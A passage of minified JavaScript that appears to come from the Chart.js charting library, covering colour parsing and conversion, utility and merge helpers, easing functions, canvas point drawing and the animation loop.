79,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]},l={getRgba:u,getHsla:_,getRgb:function(e){var t=u(e);return t&&t.slice(0,3)},getHsl:function(e){var t=_(e);return t&&t.slice(0,3)},getHwb:m,getAlpha:function(e){var t=u(e);return t||(t=_(e))||(t=m(e))?t[3]:void 0},hexString:function(e,t){return t=void 0!==t&&3===e.length?t:e[3],"#"+p(e[0])+p(e[1])+p(e[2])+(t>=0&&t<1?p(Math.round(255*t)):"")},rgbString:function(e,t){return t<1||e[3]&&e[3]<1?h(e,t):"rgb("+e[0]+", "+e[1]+", "+e[2]+")"},rgbaString:h,percentString:function(e,t){return t<1||e[3]&&e[3]<1?c(e,t):"rgb("+Math.round(e[0]/255*100)+"%, "+Math.round(e[1]/255*100)+"%, "+Math.round(e[2]/255*100)+"%)"},percentaString:c,hslString:function(e,t){return t<1||e[3]&&e[3]<1?f(e,t):"hsl("+e[0]+", "+e[1]+"%, "+e[2]+"%)"},hslaString:f,hwbString:function(e,t){return void 0===t&&(t=void 0!==e[3]?e[3]:1),"hwb("+e[0]+", "+e[1]+"%, "+e[2]+"%"+(void 0!==t&&1!==t?", "+t:"")+")"},keyword:function(e){return g[e.slice(0,3)]}};function u(e){if(e){var t=[0,0,0],a=1,n=e.match(/^#([a-fA-F0-9]{3,4})$/i),i="";if(n){i=(n=n[1])[3];for(var r=0;r<t.length;r++)t[r]=parseInt(n[r]+n[r],16);i&&(a=Math.round(parseInt(i+i,16)/255*100)/100)}else if(n=e.match(/^#([a-fA-F0-9]{6}([a-fA-F0-9]{2})?)$/i)){for(i=n[2],n=n[1],r=0;r<t.length;r++)t[r]=parseInt(n.slice(2*r,2*r+2),16);i&&(a=Math.round(parseInt(i,16)/255*100)/100)}else if(n=e.match(/^rgba?\(\s*([+-]?\d+)\s*,\s*([+-]?\d+)\s*,\s*([+-]?\d+)\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)$/i)){for(r=0;r<t.length;r++)t[r]=parseInt(n[r+1]);a=parseFloat(n[4])}else if(n=e.match(/^rgba?\(\s*([+-]?[\d\.]+)\%\s*,\s*([+-]?[\d\.]+)\%\s*,\s*([+-]?[\d\.]+)\%\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)$/i)){for(r=0;r<t.length;r++)t[r]=Math.round(2.55*parseFloat(n[r+1]));a=parseFloat(n[4])}else if(n=e.match(/(\w+)/)){if("transparent"==n[1])return[0,0,0,0];if(!(t=d[n[1]]))return}for(r=0;r<t.length;r++)t[r]=M(t[r],0,255);return a=a||0==a?M(a,0,1):1,t[3]=a,t}}function _(e){if(e){var t=e.match(/^hsla?\(\s*([+-]?\d+)(?:deg)?\s*,\s*([+-]?[\d\.]+)%\s*,\s*([+-]?[\d\.]+)%\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)/);if(t){var a=parseFloat(t[4]);return[M(parseInt(t[1]),0,360),M(parseFloat(t[2]),0,100),M(parseFloat(t[3]),0,100),M(isNaN(a)?1:a,0,1)]}}}function m(e){if(e){var t=e.match(/^hwb\(\s*([+-]?\d+)(?:deg)?\s*,\s*([+-]?[\d\.]+)%\s*,\s*([+-]?[\d\.]+)%\s*(?:,\s*([+-]?[\d\.]+)\s*)?\)/);if(t){var a=parseFloat(t[4]);return[M(parseInt(t[1]),0,360),M(parseFloat(t[2]),0,100),M(parseFloat(t[3]),0,100),M(isNaN(a)?1:a,0,1)]}}}function h(e,t){return void 0===t&&(t=void 0!==e[3]?e[3]:1),"rgba("+e[0]+", "+e[1]+", "+e[2]+", "+t+")"}function c(e,t){return"rgba("+Math.round(e[0]/255*100)+"%, "+Math.round(e[1]/255*100)+"%, "+Math.round(e[2]/255*100)+"%, "+(t||e[3]||1)+")"}function f(e,t){return void 0===t&&(t=void 0!==e[3]?e[3]:1),"hsla("+e[0]+", "+e[1]+"%, "+e[2]+"%, "+t+")"}function M(e,t,a){return Math.min(Math.max(t,e),a)}function p(e){var t=e.toString(16).toUpperCase();return t.length<2?"0"+t:t}var g={};for(var y in d)g[d[y]]=y;var L=function(e){return e instanceof L?e:this instanceof L?(this.valid=!1,this.values={rgb:[0,0,0],hsl:[0,0,0],hsv:[0,0,0],hwb:[0,0,0],cmyk:[0,0,0,0],alpha:1},void("string"==typeof e?(t=l.getRgba(e))?this.setValues("rgb",t):(t=l.getHsla(e))?this.setValues("hsl",t):(t=l.getHwb(e))&&this.setValues("hwb",t):"object"==typeof e&&(void 0!==(t=e).r||void 0!==t.red?this.setValues("rgb",t):void 0!==t.l||void 0!==t.lightness?this.setValues("hsl",t):void 0!==t.v||void 0!==t.value?this.setValues("hsv",t):void 0!==t.w||void 0!==t.whiteness?this.setValues("hwb",t):void 0===t.c&&void 0===t.cyan||this.setValues("cmyk",t)))):new L(e);var t};L.prototype={isValid:function(){return this.valid},rgb:function(){return this.setSpace("rgb",arguments)},hsl:function(){return this.setSpace("hsl",arguments)},hsv:function(){return this.setSpace("hsv",arguments)},hwb:function(){return this.setSpace("hwb",arguments)},cmyk:function(){return this.setSpace("cmyk",arguments)},rgbArray:function(){return this.values.rgb},hslArray:function(){return this.values.hsl},hsvArray:function(){return this.values.hsv},hwbArray:function(){var e=this.values;return 1!==e.alpha?e.hwb.concat([e.alpha]):e.hwb},cmykArray:function(){return this.values.cmyk},rgbaArray:function(){var e=this.values;return e.rgb.concat([e.alpha])},hslaArray:function(){var e=this.values;return e.hsl.concat([e.alpha])},alpha:function(e){return void 0===e?this.values.alpha:(this.setValues("alpha",e),this)},red:function(e){return this.setChannel("rgb",0,e)},green:function(e){return this.setChannel("rgb",1,e)},blue:function(e){return this.setChannel("rgb",2,e)},hue:function(e){return e&&(e=(e%=360)<0?360+e:e),this.setChannel("hsl",0,e)},saturation:function(e){return this.setChannel("hsl",1,e)},lightness:function(e){return this.setChannel("hsl",2,e)},saturationv:function(e){return this.setChannel("hsv",1,e)},whiteness:function(e){return this.setChannel("hwb",1,e)},blackness:function(e){return this.setChannel("hwb",2,e)},value:function(e){return this.setChannel("hsv",2,e)},cyan:function(e){return this.setChannel("cmyk",0,e)},magenta:function(e){return this.setChannel("cmyk",1,e)},yellow:function(e){return this.setChannel("cmyk",2,e)},black:function(e){return this.setChannel("cmyk",3,e)},hexString:function(){return l.hexString(this.values.rgb)},rgbString:function(){return l.rgbString(this.values.rgb,this.values.alpha)},rgbaString:function(){return l.rgbaString(this.values.rgb,this.values.alpha)},percentString:function(){return l.percentString(this.values.rgb,this.values.alpha)},hslString:function(){return l.hslString(this.values.hsl,this.values.alpha)},hslaString:function(){return l.hslaString(this.values.hsl,this.values.alpha)},hwbString:function(){return l.hwbString(this.values.hwb,this.values.alpha)},keyword:function(){return l.keyword(this.values.rgb,this.values.alpha)},rgbNumber:function(){var e=this.values.rgb;return e[0]<<16|e[1]<<8|e[2]},luminosity:function(){for(var e=this.values.rgb,t=[],a=0;a<e.length;a++){var n=e[a]/255;t[a]=n<=.03928?n/12.92:Math.pow((n+.055)/1.055,2.4)}return.2126*t[0]+.7152*t[1]+.0722*t[2]},contrast:function(e){var t=this.luminosity(),a=e.luminosity();return t>a?(t+.05)/(a+.05):(a+.05)/(t+.05)},level:function(e){var t=this.contrast(e);return t>=7.1?"AAA":t>=4.5?"AA":""},dark:function(){var e=this.values.rgb;return(299*e[0]+587*e[1]+114*e[2])/1e3<128},light:function(){return!this.dark()},negate:function(){for(var e=[],t=0;t<3;t++)e[t]=255-this.values.rgb[t];return this.setValues("rgb",e),this},lighten:function(e){var t=this.values.hsl;return t[2]+=t[2]*e,this.setValues("hsl",t),this},darken:function(e){var t=this.values.hsl;return t[2]-=t[2]*e,this.setValues("hsl",t),this},saturate:function(e){var t=this.values.hsl;return t[1]+=t[1]*e,this.setValues("hsl",t),this},desaturate:function(e){var t=this.values.hsl;return t[1]-=t[1]*e,this.setValues("hsl",t),this},whiten:function(e){var t=this.values.hwb;return t[1]+=t[1]*e,this.setValues("hwb",t),this},blacken:function(e){var t=this.values.hwb;return t[2]+=t[2]*e,this.setValues("hwb",t),this},greyscale:function(){var e=this.values.rgb,t=.3*e[0]+.59*e[1]+.11*e[2];return this.setValues("rgb",[t,t,t]),this},clearer:function(e){var t=this.values.alpha;return this.setValues("alpha",t-t*e),this},opaquer:function(e){var t=this.values.alpha;return this.setValues("alpha",t+t*e),this},rotate:function(e){var t=this.values.hsl,a=(t[0]+e)%360;return t[0]=a<0?360+a:a,this.setValues("hsl",t),this},mix:function(e,t){var a=e,n=void 0===t?.5:t,i=2*n-1,r=this.alpha()-a.alpha(),s=((i*r==-1?i:(i+r)/(1+i*r))+1)/2,o=1-s;return this.rgb(s*this.red()+o*a.red(),s*this.green()+o*a.green(),s*this.blue()+o*a.blue()).alpha(this.alpha()*n+a.alpha()*(1-n))},toJSON:function(){return this.rgb()},clone:function(){var e,t,a=new L,n=this.values,i=a.values;for(var r in n)n.hasOwnProperty(r)&&(e=n[r],"[object Array]"===(t={}.toString.call(e))?i[r]=e.slice(0):"[object Number]"===t?i[r]=e:console.error("unexpected color value:",e));return a}},L.prototype.spaces={rgb:["red","green","blue"],hsl:["hue","saturation","lightness"],hsv:["hue","saturation","value"],hwb:["hue","whiteness","blackness"],cmyk:["cyan","magenta","yellow","black"]},L.prototype.maxes={rgb:[255,255,255],hsl:[360,100,100],hsv:[360,100,100],hwb:[360,100,100],cmyk:[100,100,100,100]},L.prototype.getValues=function(e){for(var t=this.values,a={},n=0;n<e.length;n++)a[e.charAt(n)]=t[e][n];return 1!==t.alpha&&(a.a=t.alpha),a},L.prototype.setValues=function(e,t){var a,n,i=this.values,r=this.spaces,s=this.maxes,d=1;if(this.valid=!0,"alpha"===e)d=t;else if(t.length)i[e]=t.slice(0,e.length),d=t[e.length];else if(void 0!==t[e.charAt(0)]){for(a=0;a<e.length;a++)i[e][a]=t[e.charAt(a)];d=t.a}else if(void 0!==t[r[e][0]]){var l=r[e];for(a=0;a<e.length;a++)i[e][a]=t[l[a]];d=t.alpha}if(i.alpha=Math.max(0,Math.min(1,void 0===d?i.alpha:d)),"alpha"===e)return!1;for(a=0;a<e.length;a++)n=Math.max(0,Math.min(s[e][a],i[e][a])),i[e][a]=Math.round(n);for(var u in r)u!==e&&(i[u]=o[e][u](i[e]));return!0},L.prototype.setSpace=function(e,t){var a=t[0];return void 0===a?this.getValues(e):("number"==typeof a&&(a=Array.prototype.slice.call(t)),this.setValues(e,a),this)},L.prototype.setChannel=function(e,t,a){var n=this.values[e];return void 0===a?n[t]:(a===n[t]||(n[t]=a,this.setValues(e,n)),this)},"undefined"!=typeof window&&(window.Color=L);var Y=L;function v(e){return-1===["__proto__","prototype","constructor"].indexOf(e)}var k,b={noop:function(){},uid:(k=0,function(){return k++}),isNullOrUndef:function(e){return null==e},isArray:function(e){if(Array.isArray&&Array.isArray(e))return!0;var t=Object.prototype.toString.call(e);return"[object"===t.substr(0,7)&&"Array]"===t.substr(-6)},isObject:function(e){return null!==e&&"[object Object]"===Object.prototype.toString.call(e)},isFinite:function(e){return("number"==typeof e||e instanceof Number)&&isFinite(e)},valueOrDefault:function(e,t){return void 0===e?t:e},valueAtIndexOrDefault:function(e,t,a){return b.valueOrDefault(b.isArray(e)?e[t]:e,a)},callback:function(e,t,a){if(e&&"function"==typeof e.call)return e.apply(a,t)},each:function(e,t,a,n){var i,r,s;if(b.isArray(e))if(r=e.length,n)for(i=r-1;i>=0;i--)t.call(a,e[i],i);else for(i=0;i<r;i++)t.call(a,e[i],i);else if(b.isObject(e))for(r=(s=Object.keys(e)).length,i=0;i<r;i++)t.call(a,e[s[i]],s[i])},arrayEquals:function(e,t){var a,n,i,r;if(!e||!t||e.length!==t.length)return!1;for(a=0,n=e.length;a<n;++a)if(i=e[a],r=t[a],i instanceof Array&&r instanceof Array){if(!b.arrayEquals(i,r))return!1}else if(i!==r)return!1;return!0},clone:function(e){if(b.isArray(e))return e.map(b.clone);if(b.isObject(e)){for(var t=Object.create(e),a=Object.keys(e),n=a.length,i=0;i<n;++i)t[a[i]]=b.clone(e[a[i]]);return t}return e},_merger:function(e,t,a,n){if(v(e)){var i=t[e],r=a[e];b.isObject(i)&&b.isObject(r)?b.merge(i,r,n):t[e]=b.clone(r)}},_mergerIf:function(e,t,a){if(v(e)){var n=t[e],i=a[e];b.isObject(n)&&b.isObject(i)?b.mergeIf(n,i):t.hasOwnProperty(e)||(t[e]=b.clone(i))}},merge:function(e,t,a){var n,i,r,s,o,d=b.isArray(t)?t:[t],l=d.length;if(!b.isObject(e))return e;for(n=(a=a||{}).merger||b._merger,i=0;i<l;++i)if(t=d[i],b.isObject(t))for(o=0,s=(r=Object.keys(t)).length;o<s;++o)n(r[o],e,t,a);return e},mergeIf:function(e,t){return b.merge(e,t,{merger:b._mergerIf})},extend:Object.assign||function(e){return b.merge(e,[].slice.call(arguments,1),{merger:function(e,t,a){t[e]=a[e]}})},inherits:function(e){var t=this,a=e&&e.hasOwnProperty("constructor")?e.constructor:function(){return t.apply(this,arguments)},n=function(){this.constructor=a};return n.prototype=t.prototype,a.prototype=new n,a.extend=b.inherits,e&&b.extend(a.prototype,e),a.__super__=t.prototype,a},_deprecated:function(e,t,a,n){void 0!==t&&console.warn(e+': "'+a+'" is deprecated. Please use "'+n+'" instead')}},D=b;b.callCallback=b.callback,b.indexOf=function(e,t,a){return Array.prototype.indexOf.call(e,t,a)},b.getValueOrDefault=b.valueOrDefault,b.getValueAtIndexOrDefault=b.valueAtIndexOrDefault;var w={linear:function(e){return e},easeInQuad:function(e){return e*e},easeOutQuad:function(e){return-e*(e-2)},easeInOutQuad:function(e){return(e/=.5)<1?.5*e*e:-.5*(--e*(e-2)-1)},easeInCubic:function(e){return e*e*e},easeOutCubic:function(e){return(e-=1)*e*e+1},easeInOutCubic:function(e){return(e/=.5)<1?.5*e*e*e:.5*((e-=2)*e*e+2)},easeInQuart:function(e){return e*e*e*e},easeOutQuart:function(e){return-((e-=1)*e*e*e-1)},easeInOutQuart:function(e){return(e/=.5)<1?.5*e*e*e*e:-.5*((e-=2)*e*e*e-2)},easeInQuint:function(e){return e*e*e*e*e},easeOutQuint:function(e){return(e-=1)*e*e*e*e+1},easeInOutQuint:function(e){return(e/=.5)<1?.5*e*e*e*e*e:.5*((e-=2)*e*e*e*e+2)},easeInSine:function(e){return 1-Math.cos(e*(Math.PI/2))},easeOutSine:function(e){return Math.sin(e*(Math.PI/2))},easeInOutSine:function(e){return-.5*(Math.cos(Math.PI*e)-1)},easeInExpo:function(e){return 0===e?0:Math.pow(2,10*(e-1))},easeOutExpo:function(e){return 1===e?1:1-Math.pow(2,-10*e)},easeInOutExpo:function(e){return 0===e?0:1===e?1:(e/=.5)<1?.5*Math.pow(2,10*(e-1)):.5*(2-Math.pow(2,-10*--e))},easeInCirc:function(e){return e>=1?e:-(Math.sqrt(1-e*e)-1)},easeOutCirc:function(e){return Math.sqrt(1-(e-=1)*e)},easeInOutCirc:function(e){return(e/=.5)<1?-.5*(Math.sqrt(1-e*e)-1):.5*(Math.sqrt(1-(e-=2)*e)+1)},easeInElastic:function(e){var t=1.70158,a=0,n=1;return 0===e?0:1===e?1:(a||(a=.3),n<1?(n=1,t=a/4):t=a/(2*Math.PI)*Math.asin(1/n),-n*Math.pow(2,10*(e-=1))*Math.sin((e-t)*(2*Math.PI)/a))},easeOutElastic:function(e){var t=1.70158,a=0,n=1;return 0===e?0:1===e?1:(a||(a=.3),n<1?(n=1,t=a/4):t=a/(2*Math.PI)*Math.asin(1/n),n*Math.pow(2,-10*e)*Math.sin((e-t)*(2*Math.PI)/a)+1)},easeInOutElastic:function(e){var t=1.70158,a=0,n=1;return 0===e?0:2==(e/=.5)?1:(a||(a=.45),n<1?(n=1,t=a/4):t=a/(2*Math.PI)*Math.asin(1/n),e<1?n*Math.pow(2,10*(e-=1))*Math.sin((e-t)*(2*Math.PI)/a)*-.5:n*Math.pow(2,-10*(e-=1))*Math.sin((e-t)*(2*Math.PI)/a)*.5+1)},easeInBack:function(e){var t=1.70158;return e*e*((t+1)*e-t)},easeOutBack:function(e){var t=1.70158;return(e-=1)*e*((t+1)*e+t)+1},easeInOutBack:function(e){var t=1.70158;return(e/=.5)<1?e*e*((1+(t*=1.525))*e-t)*.5:.5*((e-=2)*e*((1+(t*=1.525))*e+t)+2)},easeInBounce:function(e){return 1-w.easeOutBounce(1-e)},easeOutBounce:function(e){return e<1/2.75?7.5625*e*e:e<2/2.75?7.5625*(e-=1.5/2.75)*e+.75:e<2.5/2.75?7.5625*(e-=2.25/2.75)*e+.9375:7.5625*(e-=2.625/2.75)*e+.984375},easeInOutBounce:function(e){return e<.5?.5*w.easeInBounce(2*e):.5*w.easeOutBounce(2*e-1)+.5}},T={effects:w};D.easingEffects=w;var x=Math.PI,S=x/180,H=2*x,j=x/2,P=x/4,O=2*x/3,A={clear:function(e){e.ctx.clearRect(0,0,e.width,e.height)},roundedRect:function(e,t,a,n,i,r){if(r){var s=Math.min(r,i/2,n/2),o=t+s,d=a+s,l=t+n-s,u=a+i-s;e.moveTo(t,d),o<l&&d<u?(e.arc(o,d,s,-x,-j),e.arc(l,d,s,-j,0),e.arc(l,u,s,0,j),e.arc(o,u,s,j,x)):o<l?(e.moveTo(o,a),e.arc(l,d,s,-j,j),e.arc(o,d,s,j,x+j)):d<u?(e.arc(o,d,s,-x,0),e.arc(o,u,s,0,x)):e.arc(o,d,s,-x,x),e.closePath(),e.moveTo(t,a)}else e.rect(t,a,n,i)},drawPoint:function(e,t,a,n,i,r){var s,o,d,l,u,_=(r||0)*S;if(t&&"object"==typeof t&&("[object HTMLImageElement]"===(s=t.toString())||"[object HTMLCanvasElement]"===s))return e.save(),e.translate(n,i),e.rotate(_),e.drawImage(t,-t.width/2,-t.height/2,t.width,t.height),void e.restore();if(!(isNaN(a)||a<=0)){switch(e.beginPath(),t){default:e.arc(n,i,a,0,H),e.closePath();break;case"triangle":e.moveTo(n+Math.sin(_)*a,i-Math.cos(_)*a),_+=O,e.lineTo(n+Math.sin(_)*a,i-Math.cos(_)*a),_+=O,e.lineTo(n+Math.sin(_)*a,i-Math.cos(_)*a),e.closePath();break;case"rectRounded":l=a-(u=.516*a),o=Math.cos(_+P)*l,d=Math.sin(_+P)*l,e.arc(n-o,i-d,u,_-x,_-j),e.arc(n+d,i-o,u,_-j,_),e.arc(n+o,i+d,u,_,_+j),e.arc(n-d,i+o,u,_+j,_+x),e.closePath();break;case"rect":if(!r){l=Math.SQRT1_2*a,e.rect(n-l,i-l,2*l,2*l);break}_+=P;case"rectRot":o=Math.cos(_)*a,d=Math.sin(_)*a,e.moveTo(n-o,i-d),e.lineTo(n+d,i-o),e.lineTo(n+o,i+d),e.lineTo(n-d,i+o),e.closePath();break;case"crossRot":_+=P;case"cross":o=Math.cos(_)*a,d=Math.sin(_)*a,e.moveTo(n-o,i-d),e.lineTo(n+o,i+d),e.moveTo(n+d,i-o),e.lineTo(n-d,i+o);break;case"star":o=Math.cos(_)*a,d=Math.sin(_)*a,e.moveTo(n-o,i-d),e.lineTo(n+o,i+d),e.moveTo(n+d,i-o),e.lineTo(n-d,i+o),_+=P,o=Math.cos(_)*a,d=Math.sin(_)*a,e.moveTo(n-o,i-d),e.lineTo(n+o,i+d),e.moveTo(n+d,i-o),e.lineTo(n-d,i+o);break;case"line":o=Math.cos(_)*a,d=Math.sin(_)*a,e.moveTo(n-o,i-d),e.lineTo(n+o,i+d);break;case"dash":e.moveTo(n,i),e.lineTo(n+Math.cos(_)*a,i+Math.sin(_)*a)}e.fill(),e.stroke()}},_isPointInArea:function(e,t){return e.x>t.left-1e-6&&e.x<t.right+1e-6&&e.y>t.top-1e-6&&e.y<t.bottom+1e-6},clipArea:function(e,t){e.save(),e.beginPath(),e.rect(t.left,t.top,t.right-t.left,t.bottom-t.top),e.clip()},unclipArea:function(e){e.restore()},lineTo:function(e,t,a,n){var i=a.steppedLine;if(i){if("middle"===i){var r=(t.x+a.x)/2;e.lineTo(r,n?a.y:t.y),e.lineTo(r,n?t.y:a.y)}else"after"===i&&!n||"after"!==i&&n?e.lineTo(t.x,a.y):e.lineTo(a.x,t.y);e.lineTo(a.x,a.y)}else a.tension?e.bezierCurveTo(n?t.controlPointPreviousX:t.controlPointNextX,n?t.controlPointPreviousY:t.controlPointNextY,n?a.controlPointNextX:a.controlPointPreviousX,n?a.controlPointNextY:a.controlPointPreviousY,a.x,a.y):e.lineTo(a.x,a.y)}},F=A;D.clear=A.clear,D.drawRoundedRectangle=function(e){e.beginPath(),A.roundedRect.apply(A,arguments)};var W={_set:function(e,t){return D.merge(this[e]||(this[e]={}),t)}};W._set("global",{defaultColor:"rgba(0,0,0,0.1)",defaultFontColor:"#666",defaultFontFamily:"'Helvetica Neue', 'Helvetica', 'Arial', sans-serif",defaultFontSize:12,defaultFontStyle:"normal",defaultLineHeight:1.2,showLines:!0});var C=W,E=D.valueOrDefault,z={toLineHeight:function(e,t){var a=(""+e).match(/^(normal|(\d+(?:\.\d+)?)(px|em|%)?)$/);if(!a||"normal"===a[1])return 1.2*t;switch(e=+a[2],a[3]){case"px":return e;case"%":e/=100}return t*e},toPadding:function(e){var t,a,n,i;return D.isObject(e)?(t=+e.top||0,a=+e.right||0,n=+e.bottom||0,i=+e.left||0):t=a=n=i=+e||0,{top:t,right:a,bottom:n,left:i,height:t+n,width:i+a}},_parseFont:function(e){var t=C.global,a=E(e.fontSize,t.defaultFontSize),n={family:E(e.fontFamily,t.defaultFontFamily),lineHeight:D.options.toLineHeight(E(e.lineHeight,t.defaultLineHeight),a),size:a,style:E(e.fontStyle,t.defaultFontStyle),weight:null,string:""};return n.string=function(e){return!e||D.isNullOrUndef(e.size)||D.isNullOrUndef(e.family)?null:(e.style?e.style+" ":"")+(e.weight?e.weight+" ":"")+e.size+"px "+e.family}(n),n},resolve:function(e,t,a,n){var i,r,s,o=!0;for(i=0,r=e.length;i<r;++i)if(void 0!==(s=e[i])&&(void 0!==t&&"function"==typeof s&&(s=s(t),o=!1),void 0!==a&&D.isArray(s)&&(s=s[a],o=!1),void 0!==s))return n&&!o&&(n.cacheable=!1),s}},I={_factorize:function(e){var t,a=[],n=Math.sqrt(e);for(t=1;t<n;t++)e%t==0&&(a.push(t),a.push(e/t));return n===(0|n)&&a.push(n),a.sort((function(e,t){return e-t})).pop(),a},log10:Math.log10||function(e){var t=Math.log(e)*Math.LOG10E,a=Math.round(t);return e===Math.pow(10,a)?a:t}},N=I;D.log10=I.log10;var R=D,V=T,B=F,J=z,U=N,G={getRtlAdapter:function(e,t,a){return e?function(e,t){return{x:function(a){return e+e+t-a},setWidth:function(e){t=e},textAlign:function(e){return"center"===e?e:"right"===e?"left":"right"},xPlus:function(e,t){return e-t},leftForLtr:function(e,t){return e-t}}}(t,a):{x:function(e){return e},setWidth:function(e){},textAlign:function(e){return e},xPlus:function(e,t){return e+t},leftForLtr:function(e,t){return e}}},overrideTextDirection:function(e,t){var a,n;"ltr"!==t&&"rtl"!==t||(n=[(a=e.canvas.style).getPropertyValue("direction"),a.getPropertyPriority("direction")],a.setProperty("direction",t,"important"),e.prevTextDirection=n)},restoreTextDirection:function(e){var t=e.prevTextDirection;void 0!==t&&(delete e.prevTextDirection,e.canvas.style.setProperty("direction",t[0],t[1]))}};R.easing=V,R.canvas=B,R.options=J,R.math=U,R.rtl=G;var q=function(e){R.extend(this,e),this.initialize.apply(this,arguments)};R.extend(q.prototype,{_type:void 0,initialize:function(){this.hidden=!1},pivot:function(){var e=this;return e._view||(e._view=R.extend({},e._model)),e._start={},e},transition:function(e){var t=this,a=t._model,n=t._start,i=t._view;return a&&1!==e?(i||(i=t._view={}),n||(n=t._start={}),function(e,t,a,n){var i,r,s,o,d,l,u,_,m,h=Object.keys(a);for(i=0,r=h.length;i<r;++i)if(l=a[s=h[i]],t.hasOwnProperty(s)||(t[s]=l),(o=t[s])!==l&&"_"!==s[0]){if(e.hasOwnProperty(s)||(e[s]=o),(u=typeof l)==typeof(d=e[s]))if("string"===u){if((_=Y(d)).valid&&(m=Y(l)).valid){t[s]=m.mix(_,n).rgbString();continue}}else if(R.isFinite(d)&&R.isFinite(l)){t[s]=d+(l-d)*n;continue}t[s]=l}}(n,i,a,e),t):(t._view=R.extend({},a),t._start=null,t)},tooltipPosition:function(){return{x:this._model.x,y:this._model.y}},hasValue:function(){return R.isNumber(this._model.x)&&R.isNumber(this._model.y)}}),q.extend=R.inherits;var K=q,Z=K.extend({chart:null,currentStep:0,numSteps:60,easing:"",render:null,onAnimationProgress:null,onAnimationComplete:null}),$=Z;Object.defineProperty(Z.prototype,"animationObject",{get:function(){return this}}),Object.defineProperty(Z.prototype,"chartInstance",{get:function(){return this.chart},set:function(e){this.chart=e}}),C._set("global",{animation:{duration:1e3,easing:"easeOutQuart",onProgress:R.noop,onComplete:R.noop}});var X={animations:[],request:null,addAnimation:function(e,t,a,n){var i,r,s=this.animations;for(t.chart=e,t.startTime=Date.now(),t.duration=a,n||(e.animating=!0),i=0,r=s.length;i<r;++i)if(s[i].chart===e)return void(s[i]=t);s.push(t),1===s.length&&this.requestAnimationFrame()},cancelAnimation:function(e){var t=R.findIndex(this.animations,(function(t){return t.chart===e}));-1!==t&&(this.animations.splice(t,1),e.animating=!1)},requestAnimationFrame:function(){var e=this;null===e.request&&(e.request=R.requestAnimFrame.call(window,(function(){e.request=null,e.startDigest()})))},startDigest:function(){this.advance(),this.animations.length>0&&this.requestAnimationFrame()},advance:function(){for(var e,t,a,n,i=this.animations,r=0;r<i.length;)t=(e=i[r]).chart,a=e.numSteps,n=Math.floor((Date.now()-e.startTime)/e.duration*a)+1,e.currentStep=Math.min(n,a),R.callback(e.render,[t,e],t),R.callback(e.onAnimationProgress,[e],t),e.currentStep>=a?(R.callback(e.onAnimationComplete,[e],t),t.animating=!1,i.splice(r,1)):++r}},Q=R.options.resolve,ee=["push","pop","shift","splice","unshift"];function te(e,t){var a=e._chartjs;if(a){var n=a.listeners,i=n.indexOf(t);-1!==i&&n.splice(i,1),n.length>0||(ee.forEach((function(t){delete e[t]})),delete e._chartjs)}}var ae=function(e,t){this.initialize(e,t)};R.extend(ae.prototype,{datasetElementType:null,dataElementType:null,_datasetElementOptions:["backgroundColor","borderCapStyle","borderColor","borderDash","borderDashOffset","borderJoinStyle","borderWidth"],_dataElementOptions:["backgroundColor","borderColor","borderWidth","pointStyle"],initialize:function(e,t){var a=this;a.chart=e,a.index=t,a.linkScales(),a.addElements(),a._type=a.getMeta().type},updateIndex:function(e){this.index=e},linkScales:function(){var e=this.getMeta(),t=this.chart,a=t.scales,n=this.getDataset(),i=t.options.scales;null!==e.xAxisID&&e.xAxisID in a&&!n.xAxisID||(e.xAxisID=n.xAxisID||i.xAxes[0].id),null!==e.yAxisID&&e.yAxisID in a&&!n.yAxisID||(e.yAxisID=n.yAxisID||i.yAxes[0].id)},getDataset:function(){return this.chart.data.datasets[this.index]},getMeta:function(){return this.chart.getDatasetMeta(this.index)},getScaleForId:function(e){return this.chart.scales[e]},_getValueScaleId:function(){return this.getMeta().yAxisID},_getIndexScaleId:function(){return this.getMeta().xAxisID},_getValueScale:function(){return this.getScaleForId(this._getValueScaleId())},_getIndexScale:function(){return this.getScaleForId(this._getIndexScaleId())},reset:function(){this._update(!0)},destroy:function(){this._data&&te(this._data,this)},createMetaDataset:function(){var e=this.datasetElementType;return e&&new e({_chart:this.chart,_datasetIndex:this.index})},createMetaData:function(e){var t=this.dataElementType;return t&&new t({_chart:this.chart,_datasetIndex:this.index,_index:e})},addElements:function(){var e,t,a=this.getMeta(),n=this.getDataset().data||[],i=a.data;for(e=0,t=n.length;e<t;++e)i[e]=i[e]||this.createMetaData(e);a.dataset=a.dataset||this.createMetaDataset()},addElementAndReset:function(e){var t=this.createMetaData(e);this.getMeta().data.splice(e,0,t),this.updateElement(t,e,!0)},buildOrUpdateElements:function(){var e,t,a=this,n=a.getDataset(),i=n.data||(n.data=[]);a._data!==i&&(a._data&&te(a._data,a),i&&Object.isExtensible(i)&&(t=a,(e=i)._chartjs?e._chartjs.listeners.push(t):(Object.defineProperty(e,"_chartjs",{configurable:!0,enumerable:!1,value:{listeners:[t]}}),ee.forEach((function(t){var a="onData"+t.charAt(0).toUpperCase()+t.slice(1),n=e[t];Object.defineProperty(e,t,{configurable:!0,enumerable:!1,value:function(){var t=Array.prototype.slice.call(arguments),i=n.apply(this,t);return R.each(e._chartjs.listeners,(function(e){"function"==typeof 